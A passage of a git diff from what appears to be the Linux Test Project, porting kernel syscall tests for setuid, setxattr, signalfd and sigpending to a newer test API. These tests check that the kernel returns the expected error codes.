-			tst_resm(TFAIL,
-				 "setuid -  Set the effective user ID to the current real uid failed, errno=%d : %s",
-				 TEST_ERRNO, strerror(TEST_ERRNO));
-		} else {
-			tst_resm(TPASS,
-				 "setuid -  Set the effective user ID to the current real uid returned %ld",
-				 TEST_RETURN);
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
-}
-
-/***************************************************************
- * setup() - performs all ONE TIME setup for this test.
- ***************************************************************/
-void setup(void)
-{
-	tst_require_root();
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* make a temp dir and cd to it */
-	tst_tmpdir();
-}
-
-/***************************************************************
- * cleanup() - performs all ONE TIME cleanup for this test at
- *		completion or premature exit.
- ***************************************************************/
-void cleanup(void)
-{
-
-	tst_rmdir();
-
-}
diff --git a/testcases/kernel/syscalls/setuid/setuid03.c b/testcases/kernel/syscalls/setuid/setuid03.c
index 7453388..8e1bf7d 100644
--- a/testcases/kernel/syscalls/setuid/setuid03.c
+++ b/testcases/kernel/syscalls/setuid/setuid03.c
@@ -1,6 +1,5 @@
 /*
  * Copyright (c) International Business Machines  Corp., 2001
- *  Ported by Wayne Boyer
  *
  * This program is free software;  you can redistribute it and/or modify
  * it under the terms of the GNU General Public License as published by
@@ -13,87 +12,55 @@
  * the GNU General Public License for more details.
  *
  * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software
- * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * along with this program;  if not, see <http://www.gnu.org/licenses/>.
  */
 
-/*
- * Test to check the error and trivial conditions in setuid
+/* DESCRIPTION
+ * This test will switch to nobody user for correct error code collection.
+ * Verify setuid returns errno EPERM when it switches to root_user.
  */
 
 #include <errno.h>
 #include <pwd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
 #include <unistd.h>
-
-#include "test.h"
-#include "compat_16.h"
+#include <sys/types.h>
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
 #define ROOT_USER	0
 
-char *TCID = "setuid03";
-int TST_TOTAL = 1;
-
-static char nobody_uid[] = "nobody";
-static struct passwd *ltpuser;
-
-static void setup(void);
-static void cleanup(void);
-
-int main(int ac, char **av)
+static void verify_setuid(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		TEST(SETUID(cleanup, ROOT_USER));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-			continue;
-		}
-
-		if (TEST_ERRNO == EPERM) {
-			tst_resm(TPASS, "setuid returned errno EPERM");
-		} else {
-			tst_resm(TFAIL, "setuid returned unexpected errno - %d",
-				 TEST_ERRNO);
-		}
+	TEST(SETUID(ROOT_USER));
+	if (TST_RET != -1) {
+		tst_res(TFAIL | TTERRNO, "setuid() succeeded unexpectedly");
+		return;
 	}
 
-	cleanup();
-	tst_exit();
+	if (TST_ERR == EPERM)
+		tst_res(TPASS, "setuid() returned errno EPERM");
+	else
+		tst_res(TFAIL | TTERRNO, "setuid() returned unexpected errno");
 }
 
 static void setup(void)
 {
-	tst_require_root();
+	struct passwd *pw;
+	uid_t uid;
 
-	/* Switch to nobody user for correct error code collection */
-	ltpuser = getpwnam(nobody_uid);
-	if (ltpuser == NULL)
-		tst_brkm(TBROK, cleanup, "getpwnam failed for user id %s",
-			nobody_uid);
+	pw = SAFE_GETPWNAM("nobody");
+	uid = pw->pw_uid;
 
-	if (setuid(ltpuser->pw_uid) == -1) {
-		tst_resm(TINFO, "setuid failed to "
-			 "to set the effective uid to %d", ltpuser->pw_uid);
-		perror("setuid");
+	if (SETUID(uid) == -1) {
+		tst_brk(TBROK,
+			"setuid() failed to set the effective uid to %d", uid);
 	}
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
 	umask(0);
-
-	TEST_PAUSE;
 }
 
-static void cleanup(void)
-{
-}
+static struct tst_test test = {
+	.setup = setup,
+	.needs_root = 1,
+	.test_all =  verify_setuid,
+};
diff --git a/testcases/kernel/syscalls/setuid/setuid04.c b/testcases/kernel/syscalls/setuid/setuid04.c
index 3459e66..c37fac8 100644
--- a/testcases/kernel/syscalls/setuid/setuid04.c
+++ b/testcases/kernel/syscalls/setuid/setuid04.c
@@ -1,170 +1,90 @@
-/******************************************************************************
- * Copyright (c) Kerlabs 2008.                                                *
- * Copyright (c) International Business Machines  Corp., 2008                 *
- *  Created by Renaud Lottiaux                                                *
- *                                                                            *
- * This program is free software;  you can redistribute it and/or modify      *
- * it under the terms of the GNU General Public License as published by       *
- * the Free Software Foundation; either version 2 of the License, or          *
- * (at your option) any later version.                                        *
- *                                                                            *
- * This program is distributed in the hope that it will be useful,            *
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of            *
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See                  *
- * the GNU General Public License for more details.                           *
- *                                                                            *
- * You should have received a copy of the GNU General Public License          *
- * along with this program;  if not, write to the Free Software Foundation,   *
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           *
- *****************************************************************************/
+/*
+ * Copyright (c) International Business Machines  Corp., 2001
+ *
+ * This program is free software;  you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY;  without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+ * the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program;  if not, see <http://www.gnu.org/licenses/>.
+ */
 
 /*
- * Check if setuid behaves correctly with file permissions. The test creates a
- * file as ROOT with permissions 0644, does a setuid and then tries to open the
- * file with RDWR permissions. The same test is done in a fork to check if new
- * UIDs are correctly passed to the son.
+ * DESCRIPTION
+ *	Check if setuid behaves correctly with file permissions. The test
+ *	creates a file as ROOT with permissions 0644, does a setuid and then
+ *	tries to open the file with RDWR permissions. The same test is done
+ *	in a fork to check if new UIDs are correctly passed to the son.
  */
 
 #include <errno.h>
 #include <pwd.h>
-#include <sys/types.h>
-#include <sys/stat.h>
-#include <sys/wait.h>
-#include <fcntl.h>
 #include <unistd.h>
+#include <sys/types.h>
+#include <fcntl.h>
+#include "tst_test.h"
+#include "compat_tst_16.h"
 
-#include "test.h"
-#include "safe_macros.h"
-#include "compat_16.h"
+#define  FILENAME  "setuid04_testfile"
 
-char *TCID = "setuid04";
-int TST_TOTAL = 1;
+static void dosetuid(void);
 
-static char nobody_uid[] = "nobody";
-static char testfile[] = "setuid04_testfile";
-static struct passwd *ltpuser;
-
-static int fd = -1;
-
-static void setup(void);
-static void cleanup(void);
-static void do_master_child(void);
-
-int main(int ac, char **av)
+static void verify_setuid(void)
 {
 	pid_t pid;
-	int status;
 
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	pid = FORK_OR_VFORK();
-	if (pid < 0)
-		tst_brkm(TBROK, cleanup, "Fork failed");
-
-	if (pid == 0) {
-		do_master_child();
-	} else {
-		waitpid(pid, &status, 0);
-		if (!WIFEXITED(status) || (WEXITSTATUS(status) != 0))
-			tst_resm(WEXITSTATUS(status),
-				 "son process exits with error");
-	}
-
-	cleanup();
-	tst_exit();
+	pid = SAFE_FORK();
+	if (!pid)
+		dosetuid();
+	else
+		dosetuid();
 }
 
-static void do_master_child(void)
+static void dosetuid(void)
 {
-	int lc;
-	int pid;
-	int status;
+	int tst_fd;
 
-	if (SETUID(NULL, ltpuser->pw_uid) == -1) {
-		tst_brkm(TBROK, NULL,
-			 "setuid failed to set the effective uid to %d",
-			 ltpuser->pw_uid);
+	TEST(tst_fd = open(FILENAME, O_RDWR));
+	if (TST_RET != -1) {
+		tst_res(TFAIL, "open() succeeded unexpectedly");
+		close(tst_fd);
+		return;
 	}
 
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		int tst_fd;
-
-		tst_count = 0;
-
-		TEST(tst_fd = open(testfile, O_RDWR));
-
-		if (TEST_RETURN != -1) {
-			tst_resm(TFAIL, "call succeeded unexpectedly");
-			close(tst_fd);
-		}
-
-		if (TEST_ERRNO == EACCES) {
-			tst_resm(TPASS, "open returned errno EACCES");
-		} else {
-			tst_resm(TFAIL, "open returned unexpected errno - %d",
-				 TEST_ERRNO);
-			continue;
-		}
-
-		pid = FORK_OR_VFORK();
-		if (pid < 0)
-			tst_brkm(TBROK, NULL, "Fork failed");
-
-		if (pid == 0) {
-			int tst_fd2;
-
-			/* Test to open the file in son process */
-			TEST(tst_fd2 = open(testfile, O_RDWR));
-
-			if (TEST_RETURN != -1) {
-				tst_resm(TFAIL, "call succeeded unexpectedly");
-				close(tst_fd2);
-			}
-
-			if (TEST_ERRNO == EACCES) {
-				tst_resm(TPASS, "open returned errno EACCES");
-			} else {
-				tst_resm(TFAIL,
-					 "open returned unexpected errno - %d",
-					 TEST_ERRNO);
-			}
-			tst_exit();
-		} else {
-			/* Wait for son completion */
-			waitpid(pid, &status, 0);
-			if (!WIFEXITED(status) || (WEXITSTATUS(status) != 0))
-				exit(WEXITSTATUS(status));
-		}
-	}
-	tst_exit();
+	if (TST_ERR == EACCES)
+		tst_res(TPASS, "open() returned errno EACCES");
+	else
+		tst_res(TFAIL | TTERRNO, "open() returned unexpected errno");
 }
 
 static void setup(void)
 {
-	tst_require_root();
+	struct passwd *pw;
+	uid_t uid;
 
-	ltpuser = getpwnam(nobody_uid);
+	pw = SAFE_GETPWNAM("nobody");
+	uid = pw->pw_uid;
 
-	if (ltpuser == NULL)
-		tst_brkm(TBROK, cleanup, "getpwnam failed for user id %s",
-			nobody_uid);
-
-	UID16_CHECK(ltpuser->pw_uid, setuid, cleanup);
-
-	tst_tmpdir();
-
+	UID16_CHECK(uid, setuid);
 	/* Create test file */
-	fd = SAFE_OPEN(cleanup, testfile, O_CREAT | O_RDWR, 0644);
+	SAFE_TOUCH(FILENAME, 0644, NULL);
 
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	if (SETUID(uid) == -1) {
+		tst_brk(TBROK,
+			"setuid() failed to set the effective uid to %d", uid);
+	}
 }
 
-static void cleanup(void)
-{
-	close(fd);
-	tst_rmdir();
-}
+static struct tst_test test = {
+	.setup = setup,
+	.needs_root = 1,
+	.test_all = verify_setuid,
+	.needs_tmpdir = 1,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/setxattr/.gitignore b/testcases/kernel/syscalls/setxattr/.gitignore
new file mode 100644
index 0000000..cb88c34
--- /dev/null
+++ b/testcases/kernel/syscalls/setxattr/.gitignore
@@ -0,0 +1,3 @@
+/setxattr01
+/setxattr02
+/setxattr03
diff --git a/testcases/kernel/syscalls/setxattr/setxattr01.c b/testcases/kernel/syscalls/setxattr/setxattr01.c
index 4db5612..c1ac848 100644
--- a/testcases/kernel/syscalls/setxattr/setxattr01.c
+++ b/testcases/kernel/syscalls/setxattr/setxattr01.c
@@ -41,6 +41,10 @@
  *    setxattr(2) should return -1 and set errno to EEXIST
  * 7. Replace attr value with XATTR_REPLACE flag being set,
  *    setxattr(2) should succeed
+ * 8. Create new attr whose key length is zero,
+ *    setxattr(2) should return -1 and set errno to ERANGE
+ * 9. Create new attr whose key is NULL,
+ *    setxattr(2) should return -1 and set errno to EFAULT
  */
 
 #include "config.h"
@@ -79,10 +83,11 @@
 	size_t size;
 	int flags;
 	int exp_err;
+	int keyneeded;
 };
 struct test_case tc[] = {
 	{			/* case 00, invalid flags */
-	 .key = long_key,
+	 .key = XATTR_TEST_KEY,
 	 .value = &xattr_value,
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = ~0,
@@ -122,6 +127,7 @@
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = XATTR_CREATE,
 	 .exp_err = EEXIST,
+	 .keyneeded = 1,
 	 },
 	{			/* case 06, replace existing attribute */
 	 .key = XATTR_TEST_KEY,
@@ -129,43 +135,77 @@
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = XATTR_REPLACE,
 	 .exp_err = 0,
+	 .keyneeded = 1,
+	},
+	{			/* case 07, zero length key */
+	 .key = "",
+	 .value = &xattr_value,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = ERANGE,
+	},
+	{			/* case 08, NULL key */
+	 .value = &xattr_value,
+	 .size = XATTR_TEST_VALUE_SIZE,
+	 .flags = XATTR_CREATE,
+	 .exp_err = EFAULT,
 	},
 };
 
 static void verify_setxattr(unsigned int i)
 {
+	/* some tests might require existing keys for each iteration */
+	if (tc[i].keyneeded) {
+		SAFE_SETXATTR(FNAME, tc[i].key, tc[i].value, tc[i].size,
+				XATTR_CREATE);
+	}
+
 	TEST(setxattr(FNAME, tc[i].key, *tc[i].value, tc[i].size, tc[i].flags));
 
-	if (TEST_RETURN == -1 && TEST_ERRNO == EOPNOTSUPP)
-		tst_brk(TCONF, "setxattr() not supported");
+	if (TST_RET == -1 && TST_ERR == EOPNOTSUPP)
+		tst_brk(TCONF, "setxattr(2) not supported");
+
+	/* success */
 
 	if (!tc[i].exp_err) {
-		if (TEST_RETURN) {
+		if (TST_RET) {
 			tst_res(TFAIL | TTERRNO,
-				"setxattr() failed with %li", TEST_RETURN);
+				"setxattr(2) failed with %li", TST_RET);
 			return;
 		}
 
-		tst_res(TPASS, "setxattr() passed");
+		/* this is needed for subsequent iterations */
+		SAFE_REMOVEXATTR(FNAME, tc[i].key);
+
+		tst_res(TPASS, "setxattr(2) passed");
+
 		return;
 	}
 
-	if (TEST_RETURN == 0) {
-		tst_res(TFAIL, "setxattr() passed unexpectedly");
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "setxattr(2) passed unexpectedly");
 		return;
 	}
 
-	if (TEST_ERRNO != tc[i].exp_err) {
-		tst_res(TFAIL | TTERRNO, "setxattr() should fail with %s",
+	/* error */
+
+	if (tc[i].exp_err != TST_ERR) {
+		tst_res(TFAIL | TTERRNO, "setxattr(2) should fail with %s",
 			tst_strerrno(tc[i].exp_err));
 		return;
 	}
 
-	tst_res(TPASS | TTERRNO, "setxattr() failed");
+	/* key might have been added AND test might have failed, remove it */
+	if (tc[i].keyneeded)
+		SAFE_REMOVEXATTR(FNAME, tc[i].key);
+
+	tst_res(TPASS | TTERRNO, "setxattr(2) failed");
 }
 
 static void setup(void)
 {
+	size_t i = 0;
+
 	snprintf(long_key, 6, "%s", "user.");
 	memset(long_key + 5, 'k', XATTR_NAME_LEN - 5);
 	long_key[XATTR_NAME_LEN - 1] = '\0';
@@ -175,6 +215,11 @@
 	long_value[XATTR_SIZE_MAX + 1] = '\0';
 
 	SAFE_TOUCH(FNAME, 0644, NULL);
+
+	for (i = 0; i < ARRAY_SIZE(tc); i++) {
+		if (!tc[i].key)
+			tc[i].key = tst_get_bad_addr(NULL);
+	}
 }
 
 static struct tst_test test = {
diff --git a/testcases/kernel/syscalls/setxattr/setxattr02.c b/testcases/kernel/syscalls/setxattr/setxattr02.c
index 0b6ecb3..b947990 100644
--- a/testcases/kernel/syscalls/setxattr/setxattr02.c
+++ b/testcases/kernel/syscalls/setxattr/setxattr02.c
@@ -64,6 +64,7 @@
 #define XATTR_TEST_VALUE "this is a test value"
 #define XATTR_TEST_VALUE_SIZE 20
 
+#define OFFSET    10
 #define FILENAME "setxattr02testfile"
 #define DIRNAME  "setxattr02testdir"
 #define SYMLINK  "setxattr02symlink"
@@ -79,6 +80,7 @@
 	size_t size;
 	int flags;
 	int exp_err;
+	int needskeyset;
 };
 static struct test_case tc[] = {
 	{			/* case 00, set attr to reg */
@@ -104,6 +106,7 @@
 	 .size = XATTR_TEST_VALUE_SIZE,
 	 .flags = XATTR_CREATE,
 	 .exp_err = EEXIST,
+	 .needskeyset = 1,
 	 },
 	{			/* case 03, set attr to fifo */
 	 .fname = FIFO,
@@ -141,34 +144,58 @@
 
 static void verify_setxattr(unsigned int i)
 {
-	TEST(setxattr(tc[i].fname, tc[i].key, tc[i].value, tc[i].size, tc[i].flags));
+	/* some tests might require existing keys for each iteration */
+	if (tc[i].needskeyset) {
+		SAFE_SETXATTR(tc[i].fname, tc[i].key, tc[i].value, tc[i].size,
+				XATTR_CREATE);
+	}
 
-	if (TEST_RETURN == -1 && TEST_ERRNO == EOPNOTSUPP)
-		tst_brk(TCONF, "setxattr() not supported");
+	TEST(setxattr(tc[i].fname, tc[i].key, tc[i].value, tc[i].size,
+			tc[i].flags));
+
+	if (TST_RET == -1 && TST_ERR == EOPNOTSUPP)
+		tst_brk(TCONF, "setxattr(2) not supported");
+
+	/* success */
 
 	if (!tc[i].exp_err) {
-		if (TEST_RETURN) {
+		if (TST_RET) {
 			tst_res(TFAIL | TTERRNO,
-				"setxattr() failed with %li", TEST_RETURN);
+				"setxattr(2) on %s failed with %li",
+				tc[i].fname + OFFSET, TST_RET);
 			return;
 		}
 
-		tst_res(TPASS, "setxattr() passed");
+		/* this is needed for subsequent iterations */
+		SAFE_REMOVEXATTR(tc[i].fname, tc[i].key);
+
+		tst_res(TPASS, "setxattr(2) on %s passed",
+				tc[i].fname + OFFSET);
 		return;
 	}
 
-	if (TEST_RETURN == 0) {
-		tst_res(TFAIL, "setxattr() passed unexpectedly");
+	if (TST_RET == 0) {
+		tst_res(TFAIL, "setxattr(2) on %s passed unexpectedly",
+				tc[i].fname + OFFSET);
 		return;
 	}
 
-	if (TEST_ERRNO != tc[i].exp_err) {
-		tst_res(TFAIL | TTERRNO, "setxattr() should fail with %s",
-			tst_strerrno(tc[i].exp_err));
+	/* fail */
+
+	if (tc[i].exp_err != TST_ERR) {
+		tst_res(TFAIL | TTERRNO,
+				"setxattr(2) on %s should have failed with %s",
+				tc[i].fname + OFFSET,
+				tst_strerrno(tc[i].exp_err));
 		return;
 	}
 
-	tst_res(TPASS | TTERRNO, "setxattr() failed");
+	/* key might have been added AND test might have failed, remove it */
+	if (tc[i].needskeyset)
+		SAFE_REMOVEXATTR(tc[i].fname, tc[i].key);
+
+	tst_res(TPASS | TTERRNO, "setxattr(2) on %s failed",
+			tc[i].fname + OFFSET);
 }
 
 static void setup(void)
diff --git a/testcases/kernel/syscalls/sgetmask/.gitignore b/testcases/kernel/syscalls/sgetmask/.gitignore
new file mode 100644
index 0000000..48ba74e
--- /dev/null
+++ b/testcases/kernel/syscalls/sgetmask/.gitignore
@@ -0,0 +1 @@
+/sgetmask01
diff --git a/testcases/kernel/syscalls/sigaction/.gitignore b/testcases/kernel/syscalls/sigaction/.gitignore
new file mode 100644
index 0000000..7143075
--- /dev/null
+++ b/testcases/kernel/syscalls/sigaction/.gitignore
@@ -0,0 +1,2 @@
+/sigaction01
+/sigaction02
diff --git a/testcases/kernel/syscalls/sigaltstack/.gitignore b/testcases/kernel/syscalls/sigaltstack/.gitignore
new file mode 100644
index 0000000..e982e2f
--- /dev/null
+++ b/testcases/kernel/syscalls/sigaltstack/.gitignore
@@ -0,0 +1,2 @@
+/sigaltstack01
+/sigaltstack02
diff --git a/testcases/kernel/syscalls/sighold/.gitignore b/testcases/kernel/syscalls/sighold/.gitignore
new file mode 100644
index 0000000..4950905
--- /dev/null
+++ b/testcases/kernel/syscalls/sighold/.gitignore
@@ -0,0 +1 @@
+/sighold02
diff --git a/testcases/kernel/syscalls/signal/.gitignore b/testcases/kernel/syscalls/signal/.gitignore
new file mode 100644
index 0000000..ff815ff
--- /dev/null
+++ b/testcases/kernel/syscalls/signal/.gitignore
@@ -0,0 +1,6 @@
+/signal01
+/signal02
+/signal03
+/signal04
+/signal05
+/signal06
diff --git a/testcases/kernel/syscalls/signalfd/.gitignore b/testcases/kernel/syscalls/signalfd/.gitignore
new file mode 100644
index 0000000..3c9ed73
--- /dev/null
+++ b/testcases/kernel/syscalls/signalfd/.gitignore
@@ -0,0 +1 @@
+/signalfd01
diff --git a/testcases/kernel/syscalls/signalfd/signalfd01.c b/testcases/kernel/syscalls/signalfd/signalfd01.c
index 9859524..72901ff 100644
--- a/testcases/kernel/syscalls/signalfd/signalfd01.c
+++ b/testcases/kernel/syscalls/signalfd/signalfd01.c
@@ -76,7 +76,7 @@
 #endif
 
 #ifdef USE_STUB
-int main(int argc, char **argv)
+int main(void)
 {
 	tst_brkm(TCONF, NULL, "System doesn't support execution of the test");
 }
@@ -94,7 +94,7 @@
 void cleanup(void);
 void setup(void);
 
-int do_test1(int ntst, int sig)
+int do_test1(uint32_t sig)
 {
 	int sfd_for_next;
 	int sfd;
@@ -145,7 +145,7 @@
 	if ((s > 0) && (s != sizeof(struct signalfd_siginfo))) {
 		tst_resm(TFAIL,
 			 "getting incomplete signalfd_siginfo data: "
-			 "actual-size=%" PRId32 ", expected-size=%" PRId32,
+			 "actual-size=%zd, expected-size=%zu",
 			 s, sizeof(struct signalfd_siginfo));
 		sfd_for_next = -1;
 		close(sfd);
@@ -187,7 +187,7 @@
 	return sfd_for_next;
 }
 
-void do_test2(int ntst, int fd, int sig)
+void do_test2(int fd, uint32_t sig)
 {
 	int sfd;
 	sigset_t mask;
@@ -235,7 +235,7 @@
 	if ((s > 0) && (s != sizeof(struct signalfd_siginfo))) {
 		tst_resm(TFAIL,
 			 "getting incomplete signalfd_siginfo data: "
-			 "actual-size=%" PRId32 ", expected-size= %" PRId32,
+			 "actual-size=%zd, expected-size= %zu",
 			 s, sizeof(struct signalfd_siginfo));
 		goto out;
 	} else if (s < 0) {
@@ -285,11 +285,11 @@
 	for (lc = 0; TEST_LOOPING(lc); lc++) {
 		tst_count = 0;
 
-		sfd = do_test1(lc, SIGUSR1);
+		sfd = do_test1(SIGUSR1);
 		if (sfd < 0)
 			continue;
 
-		do_test2(lc, sfd, SIGUSR2);
+		do_test2(sfd, SIGUSR2);
 		close(sfd);
 	}
 
diff --git a/testcases/kernel/syscalls/signalfd4/.gitignore b/testcases/kernel/syscalls/signalfd4/.gitignore
new file mode 100644
index 0000000..2ffb42f
--- /dev/null
+++ b/testcases/kernel/syscalls/signalfd4/.gitignore
@@ -0,0 +1,2 @@
+/signalfd4_01
+/signalfd4_02
diff --git a/testcases/kernel/syscalls/sigpending/.gitignore b/testcases/kernel/syscalls/sigpending/.gitignore
new file mode 100644
index 0000000..476afcb
--- /dev/null
+++ b/testcases/kernel/syscalls/sigpending/.gitignore
@@ -0,0 +1 @@
+/sigpending02
diff --git a/testcases/kernel/syscalls/sigpending/Makefile b/testcases/kernel/syscalls/sigpending/Makefile
index bd617d8..00a7d5e 100644
--- a/testcases/kernel/syscalls/sigpending/Makefile
+++ b/testcases/kernel/syscalls/sigpending/Makefile
@@ -20,4 +20,6 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
+CPPFLAGS += -DTEST_SIGPENDING
+
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/sigpending/sigpending02.c b/testcases/kernel/syscalls/sigpending/sigpending02.c
index 5fd4eef..94e51bb 100644
--- a/testcases/kernel/syscalls/sigpending/sigpending02.c
+++ b/testcases/kernel/syscalls/sigpending/sigpending02.c
@@ -1,143 +1,148 @@
-
+// SPDX-License-Identifier: GPL-2.0
 /*
+ *  Copyright (c) International Business Machines  Corp., 2002
  *
- *   Copyright (c) International Business Machines  Corp., 2002
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
- */
-
-/*
- * NAME
- * 	sigpending02.c
+ * AUTHORS
+ *	Paul Larson
+ *	Matthias Maennich
  *
  * DESCRIPTION
- * 	Test to see the the proper errors are returned by sigpending
- *$
- * ALGORITHM
- * 	test 1:
- * 	Call sigpending(sigset_t*=-1), it should return -1 with errno EFAULT
+ *	Test to assert basic functionality of sigpending. All the tests can also be
+ *	compiled to use the rt_sigpending syscall instead. To simplify the
+ *	documentation, only sigpending() is usually mentioned below.
  *
- * USAGE:  <for command-line>
- *         -c n    Run n copies concurrently
- *         -e      Turn on errno logging
- *         -f      Turn off functional testing
- *         -h      Show this help screen
- *         -i n    Execute test n times
- *         -I x    Execute test for x seconds
- *         -p      Pause for SIGUSR1 before starting
- *         -P x    Pause for x seconds between iterations
- *         -t      Turn on syscall timing
+ *	Test 1:
+ *		Suppress handling SIGUSR1 and SIGUSR1, raise them and assert their
+ *		signal pending.
  *
- * HISTORY
- *	02/2002 Written by Paul Larson
- *
- * RESTRICTIONS
- * 	None
+ *	Test 2:
+ *		Call sigpending(sigset_t*=-1), it should return -1 with errno EFAULT
  */
-#include <sys/types.h>
-#include <fcntl.h>
-#include <sys/stat.h>
+
 #include <errno.h>
-#include <string.h>
 #include <signal.h>
-#include "test.h"
+#include <sys/types.h>
 
-void setup();
-void help();
-void cleanup();
+#include "tst_test.h"
+#include "ltp_signal.h"
+#include "lapi/syscalls.h"
 
-char *TCID = "sigpending02";
-int TST_TOTAL = 1;
+#if defined(TEST_SIGPENDING)
+#define tested_sigpending(sigset) TEST(tst_syscall(__NR_sigpending, sigset))
+#elif defined(TEST_RT_SIGPENDING)
+#define tested_sigpending(sigset)                                              \
+	TEST(tst_syscall(__NR_rt_sigpending, sigset, SIGSETSIZE))
+#else
+#error Neither TEST_SIGPENDING nor TEST_RT_SIGPENDING is defined!
+#endif
 
-/***********************************************************************
- * Main
- ***********************************************************************/
-int main(int ac, char **av)
+static int sighandler_counter;
+static void sighandler(int signum LTP_ATTRIBUTE_UNUSED)
 {
-	int lc;
-	sigset_t *sigset;
+	++sighandler_counter;
+}
 
-	tst_parse_opts(ac, av, NULL, NULL);
+static void test_sigpending(void)
+{
+	int SIGMAX = MIN(sizeof(sigset_t) * 8, (size_t)_NSIG);
 
-    /***************************************************************
-     * perform global setup for test
-     ***************************************************************/
-	setup();
+	int i; /* loop index */
 
+	/* set up signal mask and handler */
+	sigset_t only_SIGUSR, old_mask;
+	sighandler_t old_sighandler1, old_sighandler2;
+	sigemptyset(&only_SIGUSR);
+	sigaddset(&only_SIGUSR, SIGUSR1);
+	sigaddset(&only_SIGUSR, SIGUSR2);
+	if (sigprocmask(SIG_SETMASK, &only_SIGUSR, &old_mask))
+		tst_brk(TBROK, "sigprocmask failed");
+	old_sighandler1 = SAFE_SIGNAL(SIGUSR1, sighandler);
+	old_sighandler2 = SAFE_SIGNAL(SIGUSR2, sighandler);
+
+	/* Initially no signal should be pending */
+	sigset_t pending;
+	sigemptyset(&pending);
+	tested_sigpending(&pending);
+
+	for (i = 1; i < SIGMAX; ++i)
+		if (sigismember(&pending, i))
+			tst_brk(TFAIL,
+				"initialization failed: no signal should be pending by now");
+
+	/* raise a signal */
+	if (raise(SIGUSR1))
+		tst_brk(TBROK, "raising SIGUSR1 failed");
+	if (sighandler_counter > 0)
+		tst_brk(TFAIL,
+			"signal handler is not (yet) supposed to be called");
+
+	/* now we should have exactly one pending signal (SIGUSR1) */
+	sigemptyset(&pending);
+	tested_sigpending(&pending);
+	for (i = 1; i < SIGMAX; ++i)
+		if ((i == SIGUSR1) != sigismember(&pending, i))
+			tst_brk(TFAIL, "only SIGUSR1 should be pending by now");
+
+	/* raise another signal */
+	if (raise(SIGUSR2))
+		tst_brk(TBROK, "raising SIGUSR2 failed");
+	if (sighandler_counter > 0)
+		tst_brk(TFAIL,
+			"signal handler is not (yet) supposed to be called");
+
+	/* now we should have exactly two pending signals (SIGUSR1, SIGUSR2) */
+	sigemptyset(&pending);
+	tested_sigpending(&pending);
+	for (i = 1; i < SIGMAX; ++i)
+		if ((i == SIGUSR1 || i == SIGUSR2) != sigismember(&pending, i))
+			tst_brk(TFAIL,
+				"only SIGUSR1, SIGUSR2 should be pending by now");
+
+	tst_res(TPASS, "basic sigpending test successful");
+
+	/* reinstate old mask */
+	if (sigprocmask(SIG_SETMASK, &old_mask, NULL))
+		tst_brk(TBROK, "sigprocmask failed");
+
+	/* at this time the signal handler has been called, once for each signal */
+	if (sighandler_counter != 2)
+		tst_brk(TFAIL,
+			"signal handler has not been called for each signal");
+
+	/* reinstate the original signal handlers */
+	SAFE_SIGNAL(SIGUSR1, old_sighandler1);
+	SAFE_SIGNAL(SIGUSR2, old_sighandler2);
+}
+
+static void test_efault_on_invalid_sigset(void)
+{
 	/* set sigset to point to an invalid location */
-	sigset = (sigset_t *) - 1;
+	sigset_t *sigset = tst_get_bad_addr(NULL);
 
-    /***************************************************************
-     * check looping state
-     ***************************************************************/
-	/* TEST_LOOPING() is a macro that will make sure the test continues
-	 * looping according to the standard command line args.
-	 */
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
+	tested_sigpending(sigset);
 
-		tst_count = 0;
-
-		TEST(sigpending(sigset));
-
-		/* check return code */
-		if (TEST_RETURN == -1) {
-			if (TEST_ERRNO != EFAULT)
-				tst_brkm(TFAIL, cleanup,
-					 "sigpending() Failed with wrong "
-					 "errno, expected errno=%d, got errno=%d : %s",
-					 EFAULT, TEST_ERRNO,
-					 strerror(TEST_ERRNO));
-			else
-				tst_resm(TPASS,
-					 "expected failure - errno = %d : %s",
-					 TEST_ERRNO, strerror(TEST_ERRNO));
+	/* check return code */
+	if (TST_RET == -1) {
+		if (TST_ERR != EFAULT) {
+			tst_res(TFAIL | TTERRNO,
